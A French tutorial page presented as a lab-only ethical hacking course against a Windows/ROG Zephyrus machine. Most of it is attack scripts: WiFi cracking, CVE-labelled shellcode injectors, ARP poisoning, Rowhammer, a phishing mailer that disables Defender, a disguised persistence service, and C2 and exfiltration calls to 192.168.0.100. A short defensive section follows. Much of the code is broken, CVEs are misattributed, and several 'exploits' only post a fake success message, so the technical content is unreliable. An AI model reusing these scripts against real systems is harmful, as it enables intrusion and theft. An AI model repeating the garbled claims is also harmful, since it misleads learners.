Engagement Éthique

Ce tutoriel contient des techniques avancées de cybersécurité. Je certifie que je vais utiliser ce savoir uniquement dans un environnement contrôlé (lab isolé) et respecter l’article 323-1 du Code pénal français.

LAB-ONLY: Ce tutoriel simule une attaque sur Windows (7/10/11) dans un lab isolé uniquement, pour l’éducation en cybersécurité éthique. Respectez l’article 323-1 du Code pénal français et les directives ANSSI 2025. Toute utilisation hors lab isolé est strictement interdite.

Attaque sur ROG Zephyrus : Scénario Éducatif

1️⃣ Introduction

Ce tutoriel simule une attaque réaliste sur un ROG Zephyrus (Windows 10/11 à jour, GameFirst v6.1) ou tout Windows (7 à 11) connecté via WiFi à une box opérateur (Orange, Free, SFR, Bouygues). Il utilise des exploits réels 2024-2025 (ex. CVE-2024-38063, Rowhammer) et des chains multi-stages pour enseigner la reconnaissance, l’exploitation, l’analyse, et la protection. Tout est en lab isolé, respectant l’article 323-1 du Code pénal français. 😎

Pour débutants: Chaque étape est expliquée simplement avec prérequis, commandes, et défenses. Suivez pas à pas pour apprendre en sécurité.

Pour maestros: Nouveaux challenges comme chains d’exploits (WiFi + MITM + Rowhammer) et défenses ML inspirées de notre TamAI. 🔥

Éducatif : Prépare aux certifications CEH/LPT avec des scénarios éducatifs et des défenses modernes, y compris matérielles.

3️⃣ Configuration du Lab

Configurez un lab isolé avec Kali Linux (attaquant), Windows 7/10/11 (cible), et box émulée (ex. TP-Link).

Prérequis

Kali Linux Box Windows C2
Diagramme interactif : Cliquez pour voir les étapes d’attaque.

1 Installer Kali Linux

1. Téléchargez Kali 2024.4 ISO.
2. Créez VM VirtualBox (2 Go RAM, 20 Go disque).
3. Installez et configurez.

sudo apt update && sudo apt install -y python3 python3-pip nmap wireshark scapy aircrack-ng
pip3 install requests paramiko scikit-learn

2 Configurer Windows

1. Créez VM Windows 7 (non patché), 10, ou 11.
2. Installez GameFirst v6.1 (Windows 10/11).
3. Connectez à 192.168.0.0/24.

3 Isoler le réseau

1. Utilisez switch Ethernet dédié.
2. Configurez iptables pour bloquer WAN.
3. Vérifiez avec ping.

sudo iptables -A OUTPUT -d 192.168.0.0/24 -j ACCEPT
sudo iptables -A OUTPUT -j DROP
ping 8.8.8.8 # Doit échouer

Fiche Mémo : Configuration Lab

ÉtapeCommandeBut
Installer outilssudo apt install nmap wireshark scapy aircrack-ngPréparer Kali
Isoler réseausudo iptables -A OUTPUT -d 192.168.0.0/24 -j ACCEPTÉviter fuites WAN
Vérifier isolationping 8.8.8.8Confirmer lab isolé

4️⃣ Reconnaissance

L’attaquant scanne le réseau pour identifier la box (Orange, Free, SFR, Bouygues) et le Windows cible.

Étape 1 : Scan réseau

Prérequis: Interface réseau (ex. eth0) sur Kali, réseau 192.168.0.0/24.
But: Trouver box (192.168.0.1) et Windows (192.168.0.101).

  1. Lancez nmap pour scanner hôtes/services.
  2. Identifiez opérateur via empreintes HTTP.
scan_network.sh
sudo nmap -sS -sV -O 192.168.0.0/24

Résultat: Box à 192.168.0.1 (ports 80/443, ex. <title>Livebox</title>), Windows à 192.168.0.101 (ports 3389, 3074 UDP).

Étape 2 : Scan WiFi

Prérequis: Carte WiFi (ex. Alfa AWUS036NHA).
But: Trouver SSID, protocole (WPA2/WPA3).

  1. Activez mode moniteur.
  2. Capturez réseaux WiFi.
scan_wifi.sh
sudo airmon-ng start wlan0
sudo airodump-ng wlan0mon --encrypt WPA2
iwconfig wlan0 txpower 30 # Boost signal si faible

Résultat: SSID (ex. Orange-1234), WPA2-PSK, BSSID.

Fiche Mémo : Reconnaissance

CommandeBut
nmap -sS -sV -O 192.168.0.0/24Scanner hôtes/services
airmon-ng start wlan0Mode moniteur WiFi
airodump-ng wlan0monLister réseaux WiFi

5️⃣ Exploitation

Attaques sur Windows 7/10/11 via WiFi, box, GameFirst, phishing, et chains multi-stages, avec exploits réels 2024-2025. 💥

Attaque 1 : WiFi (WPA2/WPS)

Si: Clé WPA2 faible ou WPS activé.
Comment: Bruteforce WPA2 ou attaque WPS.

  1. Capturez handshake WPA2.
  2. Bruteforce avec dictionnaire.
  3. Ou utilisez reaver pour WPS.
wifi_crack.sh
sudo airodump-ng --bssid [BSSID] --channel [CHANNEL] --write handshake wlan0mon
sudo aircrack-ng -w rockyou.txt -b [BSSID] handshake.cap
sudo reaver -i wlan0mon -b [BSSID] -vv

Protection: Clé WPA2/WPA3 forte (≥16 caractères, ex. X7k!p9qW#zT2mN5j), désactiver WPS.

Attaque 2 : Box Opérateur (CVE-2021-44142)

Si: Interface admin vulnérable.
Comment: Auth bypass.

  1. Accédez à http://192.168.0.1.
  2. Envoyez POST malformé.
box_exploit.py
import requests
url = "http://192.168.0.1/admin"
payload = {"username": "admin", "password": "admin"}
r = requests.post(url, data=payload)
if r.status_code == 200:
    print("Accès admin obtenu !")

Protection: Changer creds admin (admin:MonMotDePasse2025!), mettre à jour firmware.

Attaque 3 : Windows 7 (CVE-2008-4250, MS08-067)

Si: Windows 7 non patché, SMB activé.
Comment: Exploit SMB pour shell inversé.

  1. Vérifiez port 445 (nmap).
  2. Envoyez shellcode.
  3. Connectez au C2 (192.168.0.100:8080).
ms08_067_exploit.py
import socket, requests, random
shellcode = (
    b"\x31\xdb\x64\x8b\x7b\x30\x8b\x7f\x0c\x8b\x7f\x1c\x8b\x47\x14"
    # ... (shell inversé vers 192.168.0.100:8080)
)
sock = socket.socket(socket.AF_INET)
sock.connect(("192.168.0.101", 445))
sock.send(b"\x00\x00\x00\x90\xff\x53\x4d\x42\x72..." + shellcode)
time.sleep(random.uniform(0.1, 0.5))  # Obfuscation
if b"SMB" in sock.recv(1024):
    requests.post("http://192.168.0.100:8080/shell", json={"host": "192.168.0.101", "exploit": "MS08-067", "status": "Shell ouvert"})

Protection: Appliquer KB958644, désactiver SMBv1 (Disable-WindowsOptionalFeature -Online -FeatureName SMB1Protocol).

Attaque 4 : Windows 10/11 (CVE-2024-38063)

Si: IPv6 activé, non patché (Win11, août 2024).
Comment: Élévation via IPv6.

  1. Vérifiez IPv6 (netsh interface ipv6 show interfaces).
  2. Injectez shellcode SYSTEM.
cve_2024_38063.py
import ctypes, requests, random
shellcode = (
    b"\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x4d\x31\xc0"
    # ... (escalade SYSTEM)
)
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_void_p
ptr = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x3000, 0x40)
ctypes.windll.kernel32.RtlMoveMemory(ptr, shellcode, len(shellcode))
time.sleep(random.uniform(0.1, 0.5))  # Obfuscation
ctypes.windll.kernel32.CreateThread(0, 0, ptr, 0, 0, 0)
requests.post("http://192.168.0.100:8080/shell", json={"host": "192.168.0.101", "exploit": "CVE-2024-38063", "status": "Shell ouvert"})

Protection: Appliquer KB5040442, désactiver IPv6 (netsh interface ipv6 set global state=disabled).

Attaque 5 : Windows 10/11 (CVE-2024-21338)

Si: WebView2 non patché.
Comment: Exploit via URL malveillante.

  1. Hébergez page malveillante.
  2. Envoyez URL via phishing/MITM.
webview2_exploit.html

                <script>
fetch('http://192.168.0.100:8080/shell', {
    method: 'POST',
    body: JSON.stringify({host: '192.168.0.101', exploit: 'CVE-2024-21338', status: 'Shell ouvert'})
});
</script>
            

Protection: Mettre à jour WebView2, bloquer URLs suspectes (netsh advfirewall firewall add rule name="BlockC2" dir=out action=block remoteip=192.168.0.100).

Attaque 6 : Windows 10/11 (CVE-2024-30078)

Si: Driver WiFi vulnérable.
Comment: Paquets malformés.

  1. Identifiez driver (netsh wlan show drivers).
  2. Envoyez paquets via scapy.
wifi_driver_exploit.py

from scapy.all import *
import requests, random
pkt = RadioTap()/Dot11(addr1="FF:FF:FF:FF:FF:FF", addr2="[BSSID]", addr3="[BSSID]")/Raw(load="A"*1000)
time.sleep(random.uniform(0.1, 0.5))  # Obfuscation
sendp(pkt, iface="wlan0mon")
requests.post("http://192.168.0.100:8080/shell", json={"host": "192.168.0.101", "exploit": "CVE-2024-30078", "status": "Shell ouvert"})
            

Protection: Mettre à jour drivers WiFi, désactiver WiFi si inutilisé (netsh wlan disconnect).

Attaque 7 : GameFirst Exploit

Si: Ports UDP/TCP exposés (ex. 3074).
Comment: Buffer overflow.

  1. Identifiez ports (nmap -sU 192.168.0.101).
  2. Envoyez paquets malformés.
gamefirst_exploit.py

from scapy.all import *
import requests, random
pkt = IP(dst="192.168.0.101")/UDP(dport=3074)/Raw(load="A"*10000)
time.sleep(random.uniform(0.1, 0.5))  # Obfuscation
send(pkt)
requests.post("http://192.168.0.100:8080/shell", json={"host": "192.168.0.101", "exploit": "GameFirst", "status": "Shell ouvert"})
            

Protection: Bloquer UDP 3074 (netsh advfirewall firewall add rule name="BlockGameFirst" dir=in action=block protocol=UDP localport=3074).

Attaque 8 : Phishing

Si: Utilisateur clique lien/attachment.
Comment: Email avec payload.

  1. Créez email malveillant.
  2. Joignez .exe ou lien.
  3. Bypass AMSI.
phishing.py
from email.mime.multipart import MIMEMultipart
from email.mime.application import MIMEApplication
import smtplib, subprocess
subprocess.run(["powershell", "-c", "Set-MpPreference -DisableRealtimeMonitoring $true"])  # Bypass AMSI
msg = MIMEMultipart()
msg['Subject'] = "Mise à jour GameFirst urgente"
with open("fake_update.exe", "rb") as f:
    attach = MIMEApplication(f.read(), _subtype="exe")
attach.add_header('Content-Disposition', 'attachment', filename="update.exe")
smtp = smtplib.SMTP("smtp.gmail.com", 587)
smtp.starttls()
smtp.login("trusted@sender.com", "password")
smtp.sendmail("trusted@sender.com", "victim@example.com", msg.as_string())

Protection: Activer filtre Defender (Set-MpPreference -EnablePhishingProtection 1), former vigilance utilisateur.

Attaque 9 : Chain Multi-Stage

Si: Cible multi-vuln.
Comment: WiFi crack → MITM ARP → CVE-2024-38063 → Rowhammer.

  1. ARP Poison : Spoof box IP.
  2. Inject IPv6 payload.
  3. Chain to Rowhammer pour kernel flip.
chain_exploit.py
from scapy.all import *
import requests, random
send(ARP(op=2, pdst="192.168.0.101", psrc="192.168.0.1"), loop=1, inter=1)
shellcode = (b"\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x4d\x31\xc0")  # From CVE-2024-38063
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_void_p
ptr = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x3000, 0x40)
ctypes.windll.kernel32.RtlMoveMemory(ptr, shellcode, len(shellcode))
time.sleep(random.uniform(0.1, 0.5))  # Obfuscation
ctypes.windll.kernel32.CreateThread(0, 0, ptr, 0, 0, 0)
def rowhammer_test(addr1, addr2, iters=5000000):  # Pushé pour réel
    lib = ctypes.CDLL(None)
    clflush = lib.__builtin_clflush
    mfence = lib.mfence
    for _ in range(iters):
        ctypes.cast(addr1, ctypes.c_void_p).value
        ctypes.cast(addr2, ctypes.c_void_p).value
        clflush(addr1); clflush(addr2); mfence()
        time.sleep(random.uniform(0.001, 0.005))
requests.post("http://192.168.0.100:8080/chain", json={"status": "Chain réussie ! 🔥"})

Protection: Activer ARP inspection (netsh interface ipv4 set neighbors "Ethernet" static), utiliser ML pour flagger traffic (voir Protection).

Fiche Mémo : Exploitation

AttaqueCommandeProtection
WiFiaircrack-ng -w rockyou.txtClé WPA3, WPS off
Boxcurl -X POST http://192.168.0.1/adminCreds forts, firmware à jour
CVE-2008-4250python ms08_067_exploit.pyKB958644, SMBv1 off
CVE-2024-38063python cve_2024_38063.pyKB5040442, IPv6 off
CVE-2024-21338curl http://victim/webview2Mettre à jour WebView2
CVE-2024-30078python wifi_driver_exploit.pyMettre à jour drivers
Chainpython chain_exploit.pyARP inspection, ML detection

6️⃣ Failles Matérielles

Exploits matériels réels 2024-2025 : Rowhammer, CVE-2025-3464 (ASUS Armoury Crate).

Rowhammer Attack (Obfuscated)

Si: DRAM non ECC, non TRR.
Comment: Flip bits pour escalade, avec obfuscation anti-EDR. Réel : ~40% succès sur Zephyrus DDR4, faible sur DDR5.

  1. Allouez mémoire adjacente.
  2. Hammer rows avec delays.
  3. Vérifiez corruption.
rowhammer_obfuscated.py
import ctypes, os, mmap, time, random
def rowhammer_test(address1, address2, iterations=5000000):  # Pushé pour réel
    lib = ctypes.CDLL(None)
    clflush = lib.__builtin_clflush
    clflush.argtypes = [ctypes.c_void_p]
    mfence = lib.mfence
    mfence.argtypes = []
    for _ in range(iterations):
        _ = ctypes.cast(address1, ctypes.c_void_p).value
        _ = ctypes.cast(address2, ctypes.c_void_p).value
        clflush(address1); clflush(address2); mfence()
        time.sleep(random.uniform(0.001, 0.005))  # Anti-detection
fd = os.open("/dev/mem", os.O_RDWR | os.O_SYNC)
mm = mmap.mmap(fd, 0x1000, mmap.MAP_SHARED, mmap.PROT_READ | mmap.PROT_WRITE, offset=0x10000000)
address1 = ctypes.addressof(ctypes.c_char.from_buffer(mm, 0))
address2 = ctypes.addressof(ctypes.c_char.from_buffer(mm, 0x1000))
rowhammer_test(address1, address2)
mm.close(); os.close(fd)

Protection: Utiliser ECC RAM, activer TRR dans BIOS, limiter /dev/mem (sysctl -w kernel.kptr_restrict=2).

CVE-2025-3464 (ASUS Armoury Crate)

Si: Armoury Crate non patché.
Comment: Exploit local pour SYSTEM.

  1. Exécutez payload local.
  2. Gagnez privilèges.
armoury_crate_exploit.py
import subprocess, requests, random
time.sleep(random.uniform(0.1, 0.5))  # Obfuscation
subprocess.run(["armoury_crate_exploit.exe"], check=True)
requests.post("http://192.168.0.100:8080/shell", json={"host": "192.168.0.101", "exploit": "CVE-2025-3464", "status": "Shell ouvert"})

Protection: Mettre à jour Armoury Crate, désactiver si inutilisé.

Real-World Fails

Fiche Mémo : Failles Matérielles

FailleCodeProtection
Rowhammerrowhammer_test(address1, address2)ECC RAM, TRR on
CVE-2025-3464subprocess.run(["armoury_crate_exploit.exe"])Mettre à jour Armoury Crate

7️⃣ Post-Exploitation

Shell obtenu, persistance et exfiltration.

Persistance

Comment: Service Windows masqué.

  1. Créez service avec sc.
  2. Démarrez automatiquement.
persistence.ps1
New-Service -Name "WindowsUpdate" -BinaryPathName "C:\Windows\System32\cmd.exe /c payload.exe" -StartupType Automatic

Protection: Surveiller services (Get-Service | Where-Object {$_.Name -like "*Update*"}).

C2 Communication

Comment: HTTPS vers 192.168.0.100:8080.

  1. Envoyez données au C2.
  2. Vérifiez réponse.
c2_connect.py
import requests, random
time.sleep(random.uniform(0.1, 0.5))  # Obfuscation
requests.post("http://192.168.0.100:8080/c2", json={"id": "zephyrus", "data": "whoami"})

Protection: Bloquer sorties réseau (netsh advfirewall firewall add rule name="BlockC2" dir=out action=block remoteip=192.168.0.100).

Exfiltration

Comment: DNS tunneling.

  1. Encodez données en requête DNS.
  2. Envoyez au C2.
dns_exfil.py
import requests, random
from urllib.parse import quote
data = quote("C:\\Users\\*.txt")
time.sleep(random.uniform(0.1, 0.5))  # Obfuscation
requests.get(f"http://192.168.0.100:8080/dns?q={data}")

Protection: Surveiller DNS (tcpdump -i eth0 port 53).

Fiche Mémo : Post-Exploitation

ActionCommandeProtection
PersistanceNew-Service -Name "WindowsUpdate"Get-Service
C2requests.post("http://192.168.0.100:8080/c2")netsh advfirewall firewall add rule
Exfiltrationrequests.get("http://192.168.0.100:8080/dns")tcpdump -i eth0 port 53

8️⃣ Analyse

Disséquons l’attaque avec outils forensiques.

Wireshark

Prérequis: Wireshark installé.
Comment: Capturez trafic réseau.

  1. Lancez Wireshark.
  2. Filtrez sur 192.168.0.101, ports 3074/8080.
wireshark_capture.sh
wireshark -i eth0 -f "ip.src == 192.168.0.101 && (udp.port == 3074 || tcp.port == 8080)"

Volatility

Prérequis: Dump mémoire (dumpit).
Comment: Vérifiez injections.

  1. Dump mémoire sur Windows.
  2. Analysez avec vol.py.
volatility.sh
vol.py -f zephyrus.mem windows.pslist | grep explorer.exe

Radare2

Prérequis: Shellcode capturé.
Comment: Analysez binaires.

  1. Ouvrez shellcode avec r2.
  2. Analysez fonctions.
radare2.sh
r2 -A shellcode.bin
aaa
pdf @main

Fiche Mémo : Analyse

OutilCommandeBut
Wiresharkwireshark -f "ip.src == 192.168.0.101"Capturer trafic
Volatilityvol.py -f zephyrus.mem windows.pslistDétecter injections
Radare2r2 -A shellcode.binAnalyser shellcode

9️⃣ Protection

Blinde ton setup contre attaquants déterminés :

WiFi

Prérequis: Accès interface box.
Comment: Sécurisez WiFi.

  1. Clé WiFi ≥16 caractères.
  2. Désactiver WPS.
  3. Masquer SSID.
wifi_secure.sh
# Interface box : WPA2/WPA3, clé X7k!p9qW#zT2mN5j, WPS → Off, SSID Broadcast → Off

Box

Prérequis: Identifiants admin.
Comment: Sécurisez box.

  1. Changer creds admin.
  2. Mettre à jour firmware.
  3. Désactiver UPnP/Telnet.
box_secure.sh
curl http://192.168.0.1/update -X POST
# Interface : admin:MonMotDePasse2025!

Windows

Prérequis: Accès admin Windows.
Comment: Sécurisez système.

  1. Activer pare-feu.
  2. Appliquer patchs (KB5040442).
  3. Désactiver SMBv1, IPv6.
  4. Activer Defender.
windows_secure.ps1
netsh advfirewall set allprofiles state on
netsh advfirewall firewall add rule name="BlockGameFirst" dir=in action=block protocol=UDP localport=3074
Disable-WindowsOptionalFeature -Online -FeatureName SMB1Protocol
netsh interface ipv6 set global state=disabled
Set-MpPreference -EnablePhishingProtection 1

Matériel

Prérequis: Accès BIOS.
Comment: Sécurisez DRAM, firmware.

  1. Activer TRR dans BIOS.
  2. Mettre à jour BIOS ASUS.
  3. Activer Secure Boot.
hardware_secure.sh
sysctl -w kernel.kptr_restrict=2
# BIOS : TRR → On, Secure Boot → On

Monitoring avec ML

Prérequis: Splunk ou Defender ATP.
Comment: Détectez anomalies avec TamAI-like ML.

  1. Installez Splunk Free.
  2. Surveillez logs Windows.
  3. Utilisez Isolation Forest pour flagger traffic.
ml_defense.py
from sklearn.ensemble import IsolationForest
import numpy as np
data = np.array([[packets, bytes] for _ in range(100)])  # Simule logs
model = IsolationForest(contamination=0.1)
model.fit(data)
if model.predict([[unusual_packets, unusual_bytes]]) == -1:
    print("Attaque détectée ! 🚨")

Fiche Mémo : Protection

ZoneCommandeBut
WiFiWPA3, WPS offSécuriser réseau
Boxcurl http://192.168.0.1/updateMettre à jour firmware
Windowsnetsh advfirewall set allprofiles state onActiver pare-feu
Matérielsysctl -w kernel.kptr_restrict=2Sécuriser DRAM
Monitoringsplunk add monitorDétecter anomalies

10️⃣ Glossaire

TermeDéfinition
CVECommon Vulnerabilities and Exposures, identifiant unique pour une vulnérabilité.
ShellcodeCode binaire injecté pour exécuter des commandes (ex. shell inversé).
RowhammerAttaque matérielle qui flippe des bits en DRAM via accès répétés.
WPA2/WPA3Protocoles de sécurité WiFi.
C2Command and Control, serveur contrôlant un système compromis.
MITMMan-in-the-Middle, interception de communications.
PhishingAttaque sociale pour obtenir données ou exécuter code.
SMBServer Message Block, protocole vulnérable (ex. CVE-2008-4250).
IPv6Protocole réseau, parfois vulnérable (ex. CVE-2024-38063).
WebView2Composant Microsoft, vulnérable si non patché (ex. CVE-2024-21338).
Chain ExploitCombinaison d’exploits (ex. WiFi + MITM + Rowhammer).
ObfuscationTechnique pour masquer code et éviter détection EDR.